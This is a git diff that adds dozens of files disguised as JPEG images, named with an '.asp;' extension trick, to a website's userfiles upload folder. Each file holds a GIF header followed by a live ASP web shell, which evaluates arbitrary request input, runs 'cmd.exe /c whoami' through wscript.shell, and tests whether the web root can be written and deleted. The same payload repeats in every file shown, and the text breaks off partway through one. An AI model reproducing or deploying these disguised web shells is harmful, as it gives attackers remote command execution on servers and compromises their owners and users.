+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(123).jpg b/userfiles/file/ali_asp;ali(123).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(124).jpg b/userfiles/file/ali_asp;ali(124).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(125).jpg b/userfiles/file/ali_asp;ali(125).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(126).jpg b/userfiles/file/ali_asp;ali(126).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(127).jpg b/userfiles/file/ali_asp;ali(127).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(128).jpg b/userfiles/file/ali_asp;ali(128).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(129).jpg b/userfiles/file/ali_asp;ali(129).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(13).jpg b/userfiles/file/ali_asp;ali(13).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(130).jpg b/userfiles/file/ali_asp;ali(130).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(131).jpg b/userfiles/file/ali_asp;ali(131).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(132).jpg b/userfiles/file/ali_asp;ali(132).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(133).jpg b/userfiles/file/ali_asp;ali(133).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(134).jpg b/userfiles/file/ali_asp;ali(134).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(135).jpg b/userfiles/file/ali_asp;ali(135).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(136).jpg b/userfiles/file/ali_asp;ali(136).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(137).jpg b/userfiles/file/ali_asp;ali(137).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(138).jpg b/userfiles/file/ali_asp;ali(138).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(139).jpg b/userfiles/file/ali_asp;ali(139).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(14).jpg b/userfiles/file/ali_asp;ali(14).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(140).jpg b/userfiles/file/ali_asp;ali(140).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(141).jpg b/userfiles/file/ali_asp;ali(141).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(142).jpg b/userfiles/file/ali_asp;ali(142).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(143).jpg b/userfiles/file/ali_asp;ali(143).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(144).jpg b/userfiles/file/ali_asp;ali(144).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
